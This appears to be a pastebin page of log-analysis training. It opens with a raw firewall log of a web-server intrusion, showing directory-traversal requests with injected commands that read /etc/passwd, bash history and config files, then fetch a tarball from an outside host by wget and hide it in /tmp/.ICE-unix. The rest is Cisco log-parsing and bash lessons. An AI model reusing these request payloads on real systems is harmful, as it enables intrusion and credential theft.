- <189>Nov 11 2006 16:28:20: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/wordpress/wp-content/themes/default/images/ kubrickfooter.jpg
- <189>Nov 11 2006 16:28:26: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/wordpress/test.php
- <189>Nov 11 2006 16:28:27: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/wordpress/test.php?=PHPE9568F34-D428-11d2-A769- 00AA001ACF42
- <189>Nov 11 2006 16:28:27: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/wordpress/test.php?=PHPE9568F35-D428-11d2-A769- 00AA001ACF42
- <189>Nov 11 2006 16:29:24: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20../../wordpress/wp-config.php
- <189>Nov 11 2006 16:30:37: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20../../../
- <189>Nov 11 2006 16:30:49: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../../../
- <189>Nov 11 2006 16:31:08: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/cgi-bin
- <189>Nov 11 2006 16:31:12: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../../../cgi-bin
- <189>Nov 11 2006 16:31:20: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../../../../
- <189>Nov 11 2006 16:32:08: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../../../../account
- <189>Nov 11 2006 16:33:00: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20../../../../etc/passwd
- <189>Nov 11 2006 16:33:13: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20../../../../../etc/passwd
- <189>Nov 11 2006 16:34:39: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../../../../
- <189>Nov 11 2006 16:34:45: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=id
- <189>Nov 11 2006 16:34:53: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../../../../root
- <189>Nov 11 2006 16:37:33: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=fing%20/% 20.bash_history
- <189>Nov 11 2006 16:38:15: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=ps%20-f
- <189>Nov 11 2006 16:38:37: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=find%20/%20.bash_history
- <189>Nov 11 2006 16:39:15: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=find%20.bash_history
- <189>Nov 11 2006 16:39:25: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=find%20/%20.bash_history
- <189>Nov 11 2006 16:39:49: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/proc
- <189>Nov 11 2006 16:40:38: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/etc
- <189>Nov 11 2006 16:41:06: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20/etc/.pwd.lock
- <189>Nov 11 2006 16:41:28: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=hostname
- <189>Nov 11 2006 16:41:34: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=hostname%20-i
- <189>Nov 11 2006 16:41:49: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ifconfig
- <189>Nov 11 2006 16:42:37: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20passwd.OLD
- <189>Nov 11 2006 16:42:48: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20php.ini
- <189>Nov 11 2006 16:43:02: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20/etc/passwd.OLD
- <189>Nov 11 2006 16:43:44: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20/etc/php.ini
- <189>Nov 11 2006 16:44:23: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20/etc/pwdb.conf
- <189>Nov 11 2006 16:45:37: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20/etc/pwdb.conf
- <189>Nov 11 2006 16:45:43: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20/etc/shells
- <189>Nov 11 2006 16:46:08: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/
- <189>Nov 11 2006 16:46:40: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=finger
- <189>Nov 11 2006 16:47:30: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20.bash_history
- <189>Nov 11 2006 16:48:17: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../../../../
- <189>Nov 11 2006 16:48:37: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=%20pwd%20../../../../
- <189>Nov 11 2006 16:48:56: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../../../../../
- <189>Nov 11 2006 16:49:43: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/etc
- <189>Nov 11 2006 16:50:13: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/c:eproject2.metadata.pluginsorg.eclipse.wst.server.coretmp0webappsCMECF_OWSWEB-INFattachments
- <189>Nov 11 2006 16:50:40: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/root
- <189>Nov 11 2006 16:51:01: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/proc
- <189>Nov 11 2006 16:52:54: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=netstat%20-a
- <189>Nov 11 2006 16:56:17: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ps%20-f
- <189>Nov 11 2006 16:59:32: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=wget%20-O%20/tmp/11232.tgz%20http://satanic.easycoding.org/release/itx-ng-0.1-rc2.tgz
- <189>Nov 11 2006 16:59:59: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/
- <189>Nov 11 2006 17:01:07: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/tmp
- <189>Nov 11 2006 17:01:37: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cat%20/tmp/mapping-root
- <189>Nov 11 2006 17:02:25: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/tmp/.ICE-unix
- <189>Nov 11 2006 17:03:10: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=mv%20/tmp/11232.tgz%20/tmp/.ICE-unix/11232.tgz
- <189>Nov 11 2006 17:03:16: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/tmp/.ICE-unix
- <189>Nov 11 2006 17:03:17: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/favicon.ico
- <189>Nov 11 2006 17:03:25: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/tmp/
- <189>Nov 11 2006 17:04:45: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=mv%20/tmp/tmp.lang.php%20/tmp/.ICE-unix/tmp.lang.php
- <189>Nov 11 2006 17:05:15: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=ls%20-la%20/tmp/.ICE-unix
- <189>Nov 11 2006 17:05:27: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/tmp/.ICE-unix
- <189>Nov 11 2006 17:05:28: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/favicon.ico
- <189>Nov 11 2006 17:07:08: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=mv%20/tmp/tmp.lang.php%20/tmp/.ICE-unix/tmp.lang.php
- <189>Nov 11 2006 17:07:24: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=mv%20/tmp/tmp.lang.php%20/tmp/.ICE-unix/tmp.lang.php
- <189>Nov 11 2006 17:07:25: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/favicon.ico
- <189>Nov 11 2006 17:07:41: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=ls%20-la%20/tmp/.ICE-unix
- <189>Nov 11 2006 17:07:48: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/tmp/.ICE-unix
- <189>Nov 11 2006 17:07:49: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/favicon.ico
- <189>Nov 11 2006 17:13:13: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=cp%20/tmp/tmp.lang.php%20/tmp/.ICE-unix/tmp.lang.php
- <189>Nov 11 2006 17:13:35: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/tmp
- <189>Nov 11 2006 17:14:11: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20/tmp/.ICE-unix
- <189>Nov 11 2006 17:14:35: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=ls%20-la%20/tmp/.ICE-unix
- <189>Nov 11 2006 17:14:41: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=ls%20-la%20/tmp/
- <189>Nov 11 2006 17:15:14: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=rm%20[-fri]%20/tmp/tmp.lang.php
- <189>Nov 11 2006 17:15:27: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=ls%20-la%20/tmp
- <189>Nov 11 2006 17:31:11: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=ls%20-la%20/tmp/.ICE-unix
- <189>Nov 11 2006 17:52:07: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=tar%20-xvzf%20/tmp/.ICE-unix/11232.tgz
- <189>Nov 11 2006 17:52:14: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=ls%20-la%20/tmp/.ICE-unix
- <189>Nov 11 2006 17:53:31: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=tar%20-xvzf%20/tmp/.ICE-unix/11232.tgz
- <189>Nov 11 2006 17:53:53: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=ls%20-la%20/tmp/
- <189>Nov 11 2006 17:54:07: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=ls%20-la%20/tmp/.ICE-unix
- <189>Nov 11 2006 17:56:56: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=ls%20-la%20/
- <189>Nov 11 2006 17:57:00: %Customer_PIX: Attacker_IP Accessed URL Target_IP:/oz/common/login.php?default_language=../../../../../../../tmp/.ICE-unix/tmp&cmd=ls%20-la
- ##############################################
- # Log Analysis with Linux command-line tools #
- ##############################################
- The following command line executables are found in the Mac as well as most Linux Distributions.
- cat – prints the content of a file in the terminal window
- grep – searches and filters based on patterns
- awk – can sort each row into fields and display only what is needed
- sed – performs find and replace functions
- sort – arranges output in an order
- uniq – compares adjacent lines and can report, filter or provide a count of duplicates
- ##############
- # Cisco Logs #
- ##############
- AWK Basics
- ----------
- To quickly demonstrate the print feature in awk, we can instruct it to show only the 5th word of each line. Here we will print $5. Only the last 4 lines are being shown for brevity.
- -----------------------------Type this-----------------------------------------
- cat cisco.log | awk '{print $5}' | tail -n 4
- -------------------------------------------------------------------------------
- Looking at a large file would still produce a large amount of output. A more useful thing to do might be to output every entry found in “$5”, group them together, count them, then sort them from the greatest to least number of occurrences. This can be done by piping the output through “sort“, using “uniq -c” to count the like entries, then using “sort -rn” to sort it in reverse order.
- -----------------------------Type this-----------------------------------------
- cat cisco.log | awk '{print $5}'| sort | uniq -c | sort -rn
- -------------------------------------------------------------------------------
- While that’s sort of cool, it is obvious that we have some garbage in our output. Evidently we have a few lines that aren’t conforming to the output we expect to see in $5. We can insert grep to filter the file prior to feeding it to awk. This insures that we are at least looking at lines of text that contain “facility-level-mnemonic”.
- -----------------------------Type this-----------------------------------------
- cat cisco.log | grep %[a-zA-Z]*-[0-9]-[a-zA-Z]* | awk '{print $5}' | sort | uniq -c | sort -rn
- -------------------------------------------------------------------------------
- Now that the output is cleaned up a bit, it is a good time to investigate some of the entries that appear most often. One way to see all occurrences is to use grep.
- -----------------------------Type this-----------------------------------------
- cat cisco.log | grep %LINEPROTO-5-UPDOWN:
- cat cisco.log | grep %LINEPROTO-5-UPDOWN:| awk '{print $10}' | sort | uniq -c | sort -rn
- cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10}' | sort | uniq -c | sort -rn
- cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10 " changed to " $14}' | sort | uniq -c | sort -rn
- --------------------------------------------------------------------------------
- Let's really have some fun:
- -----------------------------Type this-----------------------------------------
- cat cisco.log | grep '^[*]' | awk '{print $1, $2, substr($3, 1, 2)":00", "-", substr($3, 1, 2)":59", $5, $6, $7, $8, $9}' | sort | uniq -c | awk '{print $1 " events between " $2 " " $3 " and " $4 $5 " -", $6, $7, $8, $9, $10}' | sort -rn
- --------------------------------------------------------------------------------
- Explanation:
- $1, $2: The month and day (*Sep 4).
- substr($3, 1, 2)":00": The start of the hour (05:00).
- substr($3, 1, 2)":59": The end of the hour (05:59).
- $5, $6, $7, $8, $9: The event type and details.
- awk: Formats the output to clearly show "X events between [date] [start time] and [end time] - [event details]".
- Find All SSH-Related Events and Group by Action (Enabled/Disabled)
- -----------------------------Type this-----------------------------------------
- cat cisco.log | grep '%SSH-' | awk '{print $1, $2, substr($3, 1, 2)":00", "-", substr($3, 1, 2)":59", $5, $6, $7, $8}' | sort | uniq -c | awk '{print $1 " SSH events between " $2 " " $3 " and " $4 $5 " -", $6, $7, $8, $9}' | sort -rn
- --------------------------------------------------------------------------------
- Explanation:
- This command finds all SSH-related events (%SSH-).
- It shows when SSH was enabled or disabled within specific time ranges.
- You get the number of SSH events that occurred in each hour.
- Count Interface State Changes (Up/Down) and Group by Interface
- -----------------------------Type this-----------------------------------------
- cat cisco.log | grep '^[*]' | awk '{print $1, $2, substr($3, 1, 2)":00", "-", substr($3, 1, 2)":59", $5, $6, $7, $8, $9}' | sort | uniq -c | awk '{print $1 " events between " $2 " " $3 " and " $4 $5 " -", $6, $7, $8, $9, $10}' | sort -rn
- --------------------------------------------------------------------------------
- Explanation:
- This command captures log entries related to interface state changes (%LINEPROTO-5-UPDOWN).
- It groups events by interface name and shows whether the state changed to "up" or "down" during a specific hour.
- Useful for analyzing interface reliability or troubleshooting connectivity issues.
- Find All Configuration Changes by User
- -----------------------------Type this-----------------------------------------
- grep '%SYS-5-CONFIG_I' cisco.log | awk '{month=$1; day=$2; time=$3; hour=substr(time,1,2); user=$NF; start_time=hour ":00"; end_time=hour ":59"; print month, day, start_time, end_time, user}' | sort | uniq -c | awk '{print $1 " configuration change(s) between " $2 " " $3 " and " $4 " " $5 " by user " $6}' | sort -rn
- --------------------------------------------------------------------------------
- Explanation:
- This command finds configuration changes from the %SYS-5-CONFIG_I log entries.
- It shows the time and user who made the changes, making it easy to audit the configuration changes.
- Useful for understanding when and by whom system settings were modified.
- Track DHCP Events and Conflicts
- -----------------------------Type this-----------------------------------------
- cat cisco.log | grep '%DHCPD-' | awk '{print $1, $2, substr($3, 1, 2)":00", substr($3, 1, 2)":59", $5, $6, $7, $8, $9, $10}' | sort | uniq -c | awk '{print $1 " DHCP events between " $2 " " $3 " and " $4 " -", $5, $6, $7, $8, $9, $10}' | sort -rn
- --------------------------------------------------------------------------------
- Explanation:
- This command identifies DHCP-related logs (e.g., address conflicts).
- It helps troubleshoot IP conflicts and DHCP server issues.
- By grouping the events by hour, you can identify when DHCP issues are most frequent.
- 1. Process: Read, Write, and Math
- In Linux, processing involves reading input (from files or commands), writing output, and performing calculations.
- Example: Basic File Processing
- # Process: Read each line in a file (log.txt)
- -----------------------------Type this-----------------------------------------
- echo "success" > log.txt
- echo "error" >> log.txt
- echo "success" >> log.txt
- cat log.txt
- --------------------------------------------------------------------------------
- This command reads (processes) the contents of a file.
- Example: Writing Output
- # Process: Write "Issue found" to a file (output.txt)
- -----------------------------Type this-----------------------------------------
- echo "Issue found" >> output.txt
- cat output.txt
- -------------------------------------------------------------------------------
- This writes the output into a file.
- Example: Math (Simple Arithmetic)
- # Process: Add two numbers
- -----------------------------Type this-----------------------------------------
- echo $((2 + 3))
- -------------------------------------------------------------------------------
- In this example, Linux is used to perform basic arithmetic.
- 2. Decision: If/Then
- In Linux, conditional logic is handled using if statements, similar to the decision-making process in programming languages.
- Example: Conditional Logic (Decision)
- # Decision: If a log line contains the word "error", then write "Found an error"
- -----------------------------Type this-----------------------------------------
- if grep -q "error" log.txt; then
- echo "Found an error" >> output.txt
- fi
- -------------------------------------------------------------------------------
- -----------------------------Type this-----------------------------------------
- cat output.txt
- -------------------------------------------------------------------------------
- Process: Read the file log.txt and search for the word "error".
- Decision: If the word "error" is found, write "Found an error" to output.txt.
- 3. Loop: For
- Loops are used to repeat a set of instructions. In Linux, the for loop is common for automating repetitive tasks.
- Example: Looping Over File Lines
- # Loop: For each line in the file, check for "error"
- -----------------------------Type this-----------------------------------------
- while read line; do
- # Decision: If line contains "error", then process it
- if [[ $line == *"error"* ]]; then
- echo "Found error: $line"
- fi
- done < log.txt
- -------------------------------------------------------------------------------
- Putting It All Together
- Using the Process, Decision, and Loop concepts, you can automate Linux commands. Let’s build an automation that checks each line of a log file for errors and reports them.
- Automation Example:
- # Automation to scan a file for errors
- # Loop: For each line in the file
- -----------------------------Type this-----------------------------------------
- while read line; do
- # Decision: If the line contains "error"
- if [[ $line == *"error"* ]]; then
- # Process: Write "Found error" to the output
- echo "Found error: $line" >> output.txt
- fi
- # Process: Read from log.txt
- done < log.txt
- -------------------------------------------------------------------------------
- -----------------------------Type this-----------------------------------------
- cat output.txt
- -------------------------------------------------------------------------------
- Breakdown:
- Loop: The while read loop processes every line in the file.
- Decision: The if [[ $line == *"error"* ]] checks if the line contains the word "error".
- Process: If the condition is met, it writes the error to an output file.
- Using the Pastebin Commands:
- 1. Lesson 1: Reading and Processing Log Files (Process)
- Objective: Teach how to read and analyze the contents of a log file.
- Command:
- # Process: Read the log file
- -----------------------------Type this-----------------------------------------
- cat cisco.log
- -------------------------------------------------------------------------------
- Explanation:
- The cat command reads and displays the content of the cisco.log file in the terminal.
- Extension:
- Use filtering to show how to search for important events like "up" or "down" interface states:
- # Process: Search for interface state changes in the log
- -----------------------------Type this-----------------------------------------
- grep "changed state" cisco.log
- -------------------------------------------------------------------------------
- This filters the log to only show lines where the interface state has changed.
- 2. Lesson 2: Making Decisions Based on Log Data (Decision)
- Objective: Teach how to implement logic (if/then decisions) in the context of log file analysis.
- Command:
- # Decision: If the log contains any "down" interface, notify the user
- -----------------------------Type this-----------------------------------------
- if grep -q "down" cisco.log; then
- echo "An interface went down"
- else
- echo "No interfaces are down"
- fi
- -------------------------------------------------------------------------------
- Explanation:
- Process: The command uses grep -q to check if any line in the file contains the word "down".
- Decision: The if statement checks whether an interface went down and prints a message accordingly.
- 3. Lesson 3: Looping Through Log Entries (Loop)
- Objective: Teach how to loop through each line of the log file, checking for specific conditions.
- Command:
- # Loop: For each line in the log file, check for state changes
- -----------------------------Type this-----------------------------------------
- while read line; do
- if [[ $line == *"changed state to down"* ]]; then
- echo "Interface went down: $line"
- fi
- done < cisco.log
- -------------------------------------------------------------------------------
- Explanation:
- Loop: This script uses while read to loop over each line in the cisco.log file.
- Decision: For each line, it checks if the line contains the phrase "changed state to down".
- Process: If the condition is met, it prints the line where the interface went down.
- 4. Lesson 4: Searching for Specific Events in Logs (Process & Decision)
- Objective: Teach how to search for a range of specific events like DHCP conflicts and SSH status changes.
- Command:
- # Process: Search for SSH enable/disable events and DHCP conflicts
- -----------------------------Type this-----------------------------------------
- grep -E "SSH|DHCP" cisco.log
- -------------------------------------------------------------------------------
- Extension:
- Use conditional analysis for different types of events:
- # Loop: Process each log line for different events (SSH, DHCP)
- -----------------------------Type this-----------------------------------------
- while read line; do
- case "$line" in
- *"SSH-5-ENABLED"*)
- echo "SSH enabled: $line" ;;
- *"SSH-5-DISABLED"*)
- echo "SSH disabled: $line" ;;
- *"DHCPD-4-PING_CONFLICT"*)
- echo "DHCP conflict detected: $line" ;;
- esac
- done < cisco.log
- -------------------------------------------------------------------------------
- Explanation:
- Process: This command uses grep -E to search for multiple patterns (SSH and DHCP events).
- Loop & Decision: It loops through each log entry and classifies it based on the event type.
- 5. Lesson 5: Counting Events and Generating a Summary (Process & Loop)
- Objective: Teach how to summarize log file data by counting occurrences of specific events.
- Command:
- # Process: Count occurrences of SSH enable, disable, and DHCP conflicts in the log
- -----------------------------Type this-----------------------------------------
- echo "SSH enabled count: $(grep -c "SSH-5-ENABLED" cisco.log)"
- echo "SSH disabled count: $(grep -c "SSH-5-DISABLED" cisco.log)"
- echo "DHCP conflict count: $(grep -c "DHCPD-4-PING_CONFLICT" cisco.log)"
- -------------------------------------------------------------------------------
- Explanation:
- Process: The grep -c command counts the number of times each event occurs in the log.
- Loop: This approach can be extended to process the entire file and generate useful statistics.
- 6. Lesson 6: Automating Responses to Critical Log Events (Loop & Decision)
- Objective: Automate responses based on critical events found in the log file.
- Command:
- # Loop through log entries and perform actions based on the content
- -----------------------------Type this-----------------------------------------
- while read line; do
- if [[ $line == *"changed state to down"* ]]; then
- # Decision: Take action for critical events (interface down)
- echo "Critical issue detected: $line"
- # Example action: Send alert (e.g., email or log the event)
- echo "Alert: Interface down on $(echo $line | cut -d' ' -f7)" >> alerts.log
- fi
- done < cisco.log
- -------------------------------------------------------------------------------
- Explanation:
- Loop: The script iterates through each log entry.
- Decision: It checks for the phrase "changed state to down" and triggers an action such as logging the issue or sending an alert.
- Summary of Key Concepts
- Process:
- Reading from files (cat, grep).
- Writing to files (echo).
- Counting and summarizing log data (grep -c).
- Decision:
- if statements to check log entries for specific keywords (like "down", "SSH", or "DHCP").
- Using case to classify log entries based on event types.
- Loop:
- while read loops to process each line in the log file.
- Automating responses for specific conditions in the log (e.g., critical errors, DHCP conflicts).
- Final Activity: Automating a Log Monitoring System
- Objective: Use a combination of the above commands to create an automated log monitoring system that processes the cisco.log file and detects important events.
- Example:
- # Automated log monitoring system
- -----------------------------Type this-----------------------------------------
- while read line; do
- if [[ $line == *"changed state to down"* ]]; then
- echo "Critical Issue: Interface down: $line" >> critical_issues.log
- elif [[ $line == *"DHCPD-4-PING_CONFLICT"* ]]; then
- echo "DHCP conflict detected: $line" >> dhcp_conflicts.log
- elif [[ $line == *"SSH-5-ENABLED"* || $line == *"SSH-5-DISABLED"* ]]; then
- echo "SSH event: $line" >> ssh_events.log
- fi
- done < cisco.log
- -------------------------------------------------------------------------------
- This script classifies and logs different events (interface down, DHCP conflicts, and SSH status changes) into their respective logs.
Add Comment
Please, Sign In to add comment